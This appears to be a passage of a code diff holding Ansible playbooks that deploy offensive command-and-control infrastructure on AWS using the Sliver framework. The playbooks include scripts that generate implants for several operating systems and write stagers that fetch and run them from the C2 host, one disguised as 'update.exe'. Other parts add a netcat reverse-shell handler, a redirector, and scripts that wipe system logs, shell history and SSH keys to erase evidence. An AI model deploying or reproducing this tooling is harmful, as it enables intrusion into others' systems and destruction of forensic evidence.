[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
|
||||||
done
|
|
||||||
history -c
|
|
||||||
|
|
||||||
# Clear Sliver logs
|
|
||||||
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
|
||||||
|
|
||||||
# Clear temporary directories
|
|
||||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
|
||||||
|
|
||||||
# Restart logging services
|
|
||||||
systemctl start systemd-journald 2>/dev/null
|
|
||||||
systemctl start rsyslog 2>/dev/null
|
|
||||||
|
|
||||||
echo "[+] Log cleaning complete"
|
|
||||||
exit 0
|
|
||||||
dest: /opt/c2/clean-logs.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create secure-exit.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Secure cleanup script
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
SECURE_DELETE_PASSES=7
|
|
||||||
MEMORY_WIPE=true
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Function to securely delete files
|
|
||||||
secure_delete() {
|
|
||||||
local target=$1
|
|
||||||
echo "[+] Securely deleting: $target"
|
|
||||||
|
|
||||||
if command -v srm > /dev/null; then
|
|
||||||
srm -vzf $target 2>/dev/null
|
|
||||||
elif command -v shred > /dev/null; then
|
|
||||||
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
|
||||||
else
|
|
||||||
# Fallback to dd if specialized tools aren't available
|
|
||||||
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
|
||||||
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
|
||||||
rm -f $target 2>/dev/null
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "[+] Beginning secure exit procedure..."
|
|
||||||
|
|
||||||
# Stop all operational services
|
|
||||||
echo "[+] Stopping operational services..."
|
|
||||||
services=("sliver")
|
|
||||||
for service in "${services[@]}"; do
|
|
||||||
systemctl stop $service 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Kill any remaining operational processes
|
|
||||||
echo "[+] Terminating operational processes..."
|
|
||||||
process_names=("sliver" "nc" "python")
|
|
||||||
for proc in "${process_names[@]}"; do
|
|
||||||
pkill -9 $proc 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear all logs
|
|
||||||
echo "[+] Clearing logs..."
|
|
||||||
bash /opt/c2/clean-logs.sh
|
|
||||||
|
|
||||||
# Securely delete operational files
|
|
||||||
echo "[+] Removing operational files..."
|
|
||||||
operational_dirs=(
|
|
||||||
"/opt/c2"
|
|
||||||
"/opt/beacons"
|
|
||||||
"/opt/payloads"
|
|
||||||
"/root/.sliver"
|
|
||||||
)
|
|
||||||
|
|
||||||
for dir in "${operational_dirs[@]}"; do
|
|
||||||
find $dir -type f 2>/dev/null | while read file; do
|
|
||||||
secure_delete "$file"
|
|
||||||
done
|
|
||||||
rm -rf $dir 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Remove SSH keys
|
|
||||||
echo "[+] Removing SSH keys and configs..."
|
|
||||||
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
|
||||||
secure_delete "$file"
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clean memory if requested
|
|
||||||
if $MEMORY_WIPE; then
|
|
||||||
echo "[+] Wiping system memory..."
|
|
||||||
sync
|
|
||||||
echo 3 > /proc/sys/vm/drop_caches
|
|
||||||
swapoff -a
|
|
||||||
swapon -a
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
|
||||||
|
|
||||||
# Remove this script itself
|
|
||||||
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
|
||||||
dest: /opt/c2/secure-exit.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create beacon-server.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Beacon server script
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
WEBSERVER_PORT=8443
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Ensure beacons directory exists
|
|
||||||
mkdir -p $BEACONS_DIR
|
|
||||||
|
|
||||||
# Generate beacons using Sliver
|
|
||||||
echo "[+] Generating beacons for all platforms..."
|
|
||||||
|
|
||||||
# Make sure Sliver server is running
|
|
||||||
if ! pgrep -x "sliver-server" > /dev/null; then
|
|
||||||
echo "[!] Sliver server is not running, starting it..."
|
|
||||||
systemctl start sliver
|
|
||||||
sleep 5
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Generate Windows beacon
|
|
||||||
sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
|
|
||||||
|
|
||||||
# Generate Linux beacon
|
|
||||||
sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
|
|
||||||
|
|
||||||
# Generate macOS beacon
|
|
||||||
sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
|
|
||||||
|
|
||||||
# Generate stagers
|
|
||||||
echo "#!/bin/bash
|
|
||||||
curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
|
||||||
chmod +x $BEACONS_DIR/beacon.sh
|
|
||||||
|
|
||||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
|
||||||
\$url = 'http://{{ ansible_host }}:8443/windows.exe';
|
|
||||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
|
||||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
|
||||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
|
||||||
|
|
||||||
echo "[+] All beacons generated successfully"
|
|
||||||
|
|
||||||
# Serve beacons using Python's HTTP server
|
|
||||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
|
||||||
cd $BEACONS_DIR
|
|
||||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
|
|
||||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
|
||||||
echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/"
|
|
||||||
|
|
||||||
# Keep script running
|
|
||||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
|
||||||
while true; do sleep 1; done
|
|
||||||
dest: /opt/c2/beacon-server.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Install Sliver C2 framework
|
|
||||||
shell: |
|
|
||||||
curl https://sliver.sh/install | bash
|
|
||||||
args:
|
|
||||||
creates: /usr/local/bin/sliver-server
|
|
||||||
|
|
||||||
- name: Create Sliver service file
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
[Unit]
|
|
||||||
Description=Sliver C2 Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
Group=root
|
|
||||||
WorkingDirectory=/root/.sliver
|
|
||||||
ExecStart=/usr/local/bin/sliver-server daemon
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Security measures
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectHome=false
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
# Hide process information
|
|
||||||
StandardOutput=null
|
|
||||||
StandardError=null
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
dest: /etc/systemd/system/sliver.service
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Start and enable Sliver service
|
|
||||||
systemd:
|
|
||||||
name: sliver
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
|
|
||||||
- name: Set up cron job for log cleaning
|
|
||||||
cron:
|
|
||||||
name: "Clean logs"
|
|
||||||
minute: "0"
|
|
||||||
hour: "*/6"
|
|
||||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
|
||||||
when: zero_logs|bool
|
|
||||||
|
|
||||||
- name: Start beacon server
|
|
||||||
shell: |
|
|
||||||
nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 &
|
|
||||||
args:
|
|
||||||
creates: /opt/beacons/windows.exe
|
|
||||||
+160
@@ -0,0 +1,160 @@
|
|||||||
|
---
|
||||||
|
# AWS Cleanup Playbook
|
||||||
|
# Used to tear down AWS infrastructure
|
||||||
|
|
||||||
|
- name: Clean up AWS infrastructure
|
||||||
|
hosts: localhost
|
||||||
|
connection: local
|
||||||
|
gather_facts: false
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
|
cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}"
|
||||||
|
cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}"
|
||||||
|
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Validate required AWS credentials
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- aws_access_key is defined and aws_access_key != ""
|
||||||
|
- aws_secret_key is defined and aws_secret_key != ""
|
||||||
|
fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
|
||||||
|
|
||||||
|
- name: Confirm cleanup if required
|
||||||
|
pause:
|
||||||
|
prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue"
|
||||||
|
register: confirmation
|
||||||
|
when: confirm_cleanup
|
||||||
|
|
||||||
|
- name: Exit if not confirmed
|
||||||
|
meta: end_play
|
||||||
|
when: confirm_cleanup and confirmation.user_input != 'yes'
|
||||||
|
|
||||||
|
- name: Find redirector instance ID
|
||||||
|
command: >
|
||||||
|
aws ec2 describe-instances
|
||||||
|
--filters "Name=tag:Name,Values={{ redirector_name }}"
|
||||||
|
--query "Reservations[*].Instances[*].InstanceId"
|
||||||
|
--output text
|
||||||
|
--region {{ aws_region }}
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
register: redirector_id_result
|
||||||
|
failed_when: false
|
||||||
|
changed_when: false
|
||||||
|
when: cleanup_redirector
|
||||||
|
|
||||||
|
- name: Find C2 instance ID
|
||||||
|
command: >
|
||||||
|
aws ec2 describe-instances
|
||||||
|
--filters "Name=tag:Name,Values={{ c2_name }}"
|
||||||
|
--query "Reservations[*].Instances[*].InstanceId"
|
||||||
|
--output text
|
||||||
|
--region {{ aws_region }}
|
||||||
|
environment:
|
||||||
|
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
||||||
|
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
||||||
|
register: c2_id_result
|
||||||
|
failed_when: false
|
||||||
|
changed_when: false
|
||||||
|
when: cleanup_c2
|
||||||
|
|
||||||
|
- name: Set instance IDs as facts
|
||||||
|
set_fact:
|
||||||
|
redirector_instance_id: "{{ redirector_id_result.stdout | trim }}"
|
||||||
|
when: cleanup_redirector and redirector_id_result.stdout is defined and redirector_id_result.stdout | trim != ""
|
||||||
|
|
||||||
|
- name: Set C2 instance ID as fact
|
||||||
|
set_fact:
|
||||||
|
c2_instance_id: "{{ c2_id_result.stdout | trim }}"
|
||||||
|
when: cleanup_c2 and c2_id_result.stdout is defined and c2_id_result.stdout | trim != ""
|
||||||
|
|
||||||
|
- name: Terminate redirector instance
|
||||||
|
amazon.aws.ec2_instance:
|
||||||
|
state: absent
|
||||||
|
instance_ids:
|
||||||
|
- "{{ redirector_instance_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
aws_access_key: "{{ aws_access_key }}"
|
||||||
|
aws_secret_key: "{{ aws_secret_key }}"
|
||||||
|
when: cleanup_redirector and redirector_instance_id is defined and redirector_instance_id != ""
|
||||||
|
register: redirector_termination
|
||||||
|
|
||||||
|
- name: Terminate C2 instance
|
||||||
|
amazon.aws.ec2_instance:
|
||||||
|
state: absent
|
||||||
|
instance_ids:
|
||||||
|
- "{{ c2_instance_id }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
aws_access_key: "{{ aws_access_key }}"
|
||||||
|
aws_secret_key: "{{ aws_secret_key }}"
|
||||||
|
when: cleanup_c2 and c2_instance_id is defined and c2_instance_id != ""
|
||||||
|
register: c2_termination
|
||||||
|
|
||||||
|
- name: Wait for instances to be fully terminated
|
||||||
|
pause:
|
||||||
|
seconds: 30
|
||||||
|
when:
|
||||||
|
- (redirector_termination is defined and redirector_termination.changed) or
|
||||||
|
(c2_termination is defined and c2_termination.changed)
|
||||||
|
|
||||||
|
- name: Delete redirector security group
|
||||||
|
amazon.aws.ec2_group:
|
||||||
|
name: "{{ redirector_name }}-sg"
|
||||||
|
state: absent
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
aws_access_key: "{{ aws_access_key }}"
|
||||||
|
aws_secret_key: "{{ aws_secret_key }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
when: cleanup_redirector and redirector_name is defined and redirector_name != ""
|
||||||
|
|
||||||
|
- name: Delete C2 security group
|
||||||
|
amazon.aws.ec2_group:
|
||||||
|
name: "{{ c2_name }}-sg"
|
||||||
|
state: absent
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
aws_access_key: "{{ aws_access_key }}"
|
||||||
|
aws_secret_key: "{{ aws_secret_key }}"
|
||||||
|
ignore_errors: yes
|
||||||
|
when: cleanup_c2 and c2_name is defined and c2_name != ""
|
||||||
|
|
||||||
|
- name: Delete redirector key pair
|
||||||
|
amazon.aws.ec2_key:
|
||||||
|
name: "{{ redirector_name }}"
|
||||||
|
state: absent
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
aws_access_key: "{{ aws_access_key }}"
|
||||||
|
aws_secret_key: "{{ aws_secret_key }}"
|
||||||
|
when: cleanup_redirector and redirector_name is defined and redirector_name != ""
|
||||||
|
|
||||||
|
- name: Delete C2 key pair
|
||||||
|
amazon.aws.ec2_key:
|
||||||
|
name: "{{ c2_name }}"
|
||||||
|
state: absent
|
||||||
|
region: "{{ aws_region }}"
|
||||||
|
aws_access_key: "{{ aws_access_key }}"
|
||||||
|
aws_secret_key: "{{ aws_secret_key }}"
|
||||||
|
when: cleanup_c2 and c2_name is defined and c2_name != ""
|
||||||
|
|
||||||
|
- name: Remove redirector SSH key file
|
||||||
|
file:
|
||||||
|
path: "~/.ssh/{{ redirector_name }}.pem"
|
||||||
|
state: absent
|
||||||
|
when: cleanup_redirector and redirector_name is defined and redirector_name != ""
|
||||||
|
|
||||||
|
- name: Remove C2 SSH key file
|
||||||
|
file:
|
||||||
|
path: "~/.ssh/{{ c2_name }}.pem"
|
||||||
|
state: absent
|
||||||
|
when: cleanup_c2 and c2_name is defined and c2_name != ""
|
||||||
|
|
||||||
|
- name: Cleanup complete message
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "AWS infrastructure cleanup complete!"
|
||||||
|
- "Resources that were cleaned up:"
|
||||||
|
- "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}"
|
||||||
|
- "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}"
|
||||||
+87
-425
@@ -1,476 +1,138 @@
|
|||||||
---
|
---
|
||||||
- name: Deploy AWS redirector server
|
# AWS Redirector-only Deployment Playbook
|
||||||
|
|
||||||
|
- name: Deploy AWS redirector
|
||||||
hosts: localhost
|
hosts: localhost
|
||||||
gather_facts: false
|
gather_facts: false
|
||||||
connection: local
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
region: "{{ aws_region | default('us-east-1') }}"
|
# Default values for required variables
|
||||||
instance_type: "{{ size | default('t2.medium') }}"
|
ssh_user: "{{ ssh_user | default('kali') }}"
|
||||||
instance_name: "{{ redirector_name | default('redirector') }}"
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
domain: "{{ domain | default('example.com') }}"
|
instance_type: "{{ aws_instance_type | default('t2.micro') }}"
|
||||||
redirector_subdomain: "cdn"
|
|
||||||
|
# Generate random instance name if not provided
|
||||||
|
redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||||
|
|
||||||
|
# Generate random shell handler port if not provided
|
||||||
|
shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Set a random AWS region if not specified
|
- name: Validate required AWS credentials
|
||||||
set_fact:
|
assert:
|
||||||
selected_aws_region: "{{ aws_region_choices | random }}"
|
that:
|
||||||
when: aws_region is not defined
|
- aws_access_key is defined and aws_access_key != ""
|
||||||
|
- aws_secret_key is defined and aws_secret_key != ""
|
||||||
- name: Create an EC2 key pair
|
fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
|
||||||
|
|
||||||
|
- name: Create EC2 key pair for redirector
|
||||||
amazon.aws.ec2_key:
|
amazon.aws.ec2_key:
|
||||||
name: "{{ instance_name }}"
|
access_key: "{{ aws_access_key }}"
|
||||||
region: "{{ region }}"
|
secret_key: "{{ aws_secret_key }}"
|
||||||
|
name: "{{ redirector_name }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
state: present
|
state: present
|
||||||
register: key_pair
|
register: redirector_key_pair
|
||||||
|
|
||||||
- name: Save private key locally
|
- name: Save private key locally
|
||||||
copy:
|
copy:
|
||||||
content: "{{ key_pair.key.private_key }}"
|
content: "{{ redirector_key_pair.key.private_key }}"
|
||||||
dest: "~/.ssh/{{ instance_name }}.pem"
|
dest: "~/.ssh/{{ redirector_name }}.pem"
|
||||||
mode: "0600"
|
mode: "0600"
|
||||||
when: key_pair.changed
|
when: redirector_key_pair.changed and redirector_key_pair.key.private_key is defined
|
||||||
|
|
||||||
- name: Create security group for redirector
|
- name: Create a security group for the redirector
|
||||||
amazon.aws.ec2_group:
|
amazon.aws.ec2_group:
|
||||||
name: "{{ instance_name }}-sg"
|
access_key: "{{ aws_access_key }}"
|
||||||
description: "Security group for redirector"
|
secret_key: "{{ aws_secret_key }}"
|
||||||
region: "{{ region }}"
|
name: "{{ redirector_name }}-sg"
|
||||||
|
description: "Security group for redirector {{ redirector_name }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
rules:
|
rules:
|
||||||
- proto: tcp
|
- proto: tcp
|
||||||
ports:
|
ports:
|
||||||
- 22
|
- 22
|
||||||
- 80
|
- 80
|
||||||
- 443
|
- 443
|
||||||
- 4444 # Shell handler port
|
- "{{ shell_handler_port }}"
|
||||||
cidr_ip: 0.0.0.0/0
|
cidr_ip: 0.0.0.0/0
|
||||||
rules_egress:
|
rules_egress:
|
||||||
- proto: -1
|
- proto: -1
|
||||||
cidr_ip: 0.0.0.0/0
|
cidr_ip: 0.0.0.0/0
|
||||||
register: redirector_sg
|
register: redirector_sg_result
|
||||||
|
|
||||||
- name: Launch redirector EC2 instance
|
- name: Launch redirector EC2 instance
|
||||||
amazon.aws.ec2_instance:
|
amazon.aws.ec2_instance:
|
||||||
name: "{{ instance_name }}"
|
access_key: "{{ aws_access_key }}"
|
||||||
region: "{{ region }}"
|
secret_key: "{{ aws_secret_key }}"
|
||||||
image_id: "{{ ami_map[region] }}"
|
region: "{{ aws_region }}"
|
||||||
|
name: "{{ redirector_name }}"
|
||||||
|
image_id: "{{ ami_map[aws_region] }}"
|
||||||
instance_type: "{{ instance_type }}"
|
instance_type: "{{ instance_type }}"
|
||||||
key_name: "{{ instance_name }}"
|
key_name: "{{ redirector_name }}"
|
||||||
security_group: "{{ redirector_sg.group_id }}"
|
security_groups:
|
||||||
network:
|
- "{{ redirector_name }}-sg"
|
||||||
assign_public_ip: true
|
|
||||||
tags:
|
|
||||||
Name: "{{ instance_name }}"
|
|
||||||
Role: "redirector"
|
|
||||||
wait: yes
|
wait: yes
|
||||||
|
tags:
|
||||||
|
Name: "{{ redirector_name }}"
|
||||||
|
Role: "redirector"
|
||||||
register: redirector_instance
|
register: redirector_instance
|
||||||
|
|
||||||
- name: Save redirector IP
|
- name: Set redirector_ip for later use
|
||||||
set_fact:
|
set_fact:
|
||||||
redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}"
|
redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}"
|
||||||
|
redirector_instance_id: "{{ redirector_instance.instances[0].instance_id }}"
|
||||||
|
|
||||||
- name: Wait for SSH to become available
|
- name: Wait for redirector SSH to be available
|
||||||
wait_for:
|
wait_for:
|
||||||
host: "{{ redirector_ip }}"
|
host: "{{ redirector_ip }}"
|
||||||
port: 22
|
port: 22
|
||||||
delay: 10
|
delay: 30
|
||||||
timeout: 300
|
timeout: 300
|
||||||
state: started
|
state: started
|
||||||
|
|
||||||
- name: Add redirector to inventory
|
- name: Add redirector to inventory
|
||||||
add_host:
|
add_host:
|
||||||
name: redirector
|
name: "redirector"
|
||||||
|
groups: "redirectors"
|
||||||
ansible_host: "{{ redirector_ip }}"
|
ansible_host: "{{ redirector_ip }}"
|
||||||
ansible_user: "{{ ssh_user | default('kali') }}"
|
ansible_user: "{{ ssh_user }}"
|
||||||
ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
|
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
|
||||||
groups: redirectors
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||||
|
|
||||||
- name: Configure redirector
|
- name: Configure redirector server
|
||||||
hosts: redirectors
|
hosts: redirectors
|
||||||
become: true
|
become: true
|
||||||
|
gather_facts: true
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
domain: "{{ domain | default('example.com') }}"
|
c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
|
||||||
redirector_subdomain: "cdn"
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
|
||||||
zero_logs: "{{ zero_logs | default(true) }}"
|
|
||||||
shell_handler_port: 4444
|
|
||||||
c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
|
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Update apt cache
|
- name: Wait for apt to be available
|
||||||
apt:
|
apt:
|
||||||
update_cache: yes
|
update_cache: yes
|
||||||
|
register: apt_result
|
||||||
|
until: apt_result is success
|
||||||
|
retries: 5
|
||||||
|
delay: 10
|
||||||
|
|
||||||
|
- name: Include common redirector configuration tasks
|
||||||
|
include_tasks: "../tasks/configure_redirector.yml"
|
||||||
|
|
||||||
|
- name: Include common security hardening tasks
|
||||||
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
|
|
||||||
- name: Install required packages
|
- name: Print deployment summary
|
||||||
apt:
|
debug:
|
||||||
name:
|
msg:
|
||||||
- nginx
|
- "Redirector Deployment Complete!"
|
||||||
- certbot
|
- "-------------------------------"
|
||||||
- python3-certbot-nginx
|
- "Redirector IP: {{ ansible_host }}"
|
||||||
- socat
|
- "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
|
||||||
- netcat-openbsd
|
- "Shell Handler Port: {{ shell_handler_port }}"
|
||||||
- cryptsetup
|
- "SSH Key: ~/.ssh/{{ redirector_name }}.pem"
|
||||||
- secure-delete
|
when: not disable_summary | default(false)
|
||||||
state: present
|
|
||||||
|
|
||||||
- name: Create directories for OPSEC scripts
|
|
||||||
file:
|
|
||||||
path: "{{ item }}"
|
|
||||||
state: directory
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
with_items:
|
|
||||||
- /opt/c2
|
|
||||||
- /opt/shell-handler
|
|
||||||
|
|
||||||
- name: Create clean-logs.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Zero-logs maintenance script
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Disable syslog temporarily
|
|
||||||
systemctl stop rsyslog 2>/dev/null
|
|
||||||
systemctl stop systemd-journald 2>/dev/null
|
|
||||||
|
|
||||||
# Clear system logs
|
|
||||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
|
||||||
journalctl --vacuum-time=1s 2>/dev/null
|
|
||||||
|
|
||||||
# Clear bash history
|
|
||||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
|
||||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
|
||||||
done
|
|
||||||
history -c
|
|
||||||
|
|
||||||
# Clear NGINX logs
|
|
||||||
for nginx_log in /var/log/nginx/*; do
|
|
||||||
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear temporary directories
|
|
||||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
|
||||||
|
|
||||||
# Restart logging services
|
|
||||||
systemctl start systemd-journald 2>/dev/null
|
|
||||||
systemctl start rsyslog 2>/dev/null
|
|
||||||
|
|
||||||
echo "[+] Log cleaning complete"
|
|
||||||
exit 0
|
|
||||||
dest: /opt/c2/clean-logs.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create shell handler script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Automated shell handler for catching and upgrading reverse shells
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
LISTEN_PORT={{ shell_handler_port }}
|
|
||||||
C2_HOST="{{ c2_ip }}"
|
|
||||||
|
|
||||||
# Set secure permissions
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Logging function
|
|
||||||
log() {
|
|
||||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
|
||||||
local message="$1"
|
|
||||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
|
||||||
}
|
|
||||||
|
|
||||||
# Detect OS function
|
|
||||||
detect_os() {
|
|
||||||
local connection=$1
|
|
||||||
|
|
||||||
# Send commands to determine OS
|
|
||||||
echo "echo \$OSTYPE" > $connection
|
|
||||||
sleep 1
|
|
||||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
|
||||||
|
|
||||||
if [[ $ostype == *"win"* ]]; then
|
|
||||||
echo "windows"
|
|
||||||
elif [[ $ostype == *"darwin"* ]]; then
|
|
||||||
echo "macos"
|
|
||||||
elif [[ $ostype == *"linux"* ]]; then
|
|
||||||
echo "linux"
|
|
||||||
else
|
|
||||||
# Try Windows-specific command
|
|
||||||
echo "ver" > $connection
|
|
||||||
sleep 1
|
|
||||||
winver=$(cat $connection | grep -i "microsoft windows")
|
|
||||||
|
|
||||||
if [[ -n "$winver" ]]; then
|
|
||||||
echo "windows"
|
|
||||||
else
|
|
||||||
# Default to Linux if we can't determine
|
|
||||||
echo "linux"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# Main shell handler loop
|
|
||||||
handle_connections() {
|
|
||||||
log "Shell handler started on port $LISTEN_PORT"
|
|
||||||
|
|
||||||
# Use mkfifo for bidirectional communication
|
|
||||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
|
||||||
trap 'rm -f $PIPE_PATH' EXIT
|
|
||||||
|
|
||||||
while true; do
|
|
||||||
# Clean up existing pipe
|
|
||||||
rm -f $PIPE_PATH
|
|
||||||
mkfifo $PIPE_PATH
|
|
||||||
|
|
||||||
log "Waiting for incoming connection..."
|
|
||||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
|
||||||
NC_PID=$!
|
|
||||||
|
|
||||||
# Wait for connection
|
|
||||||
wait $NC_PID
|
|
||||||
log "Connection closed, restarting listener..."
|
|
||||||
rm -f $PIPE_PATH.output
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
# Start the shell handler
|
|
||||||
handle_connections
|
|
||||||
dest: /opt/shell-handler/persistent-listener.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create shell handler service
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
[Unit]
|
|
||||||
Description=Reverse Shell Handler Service
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
Group=root
|
|
||||||
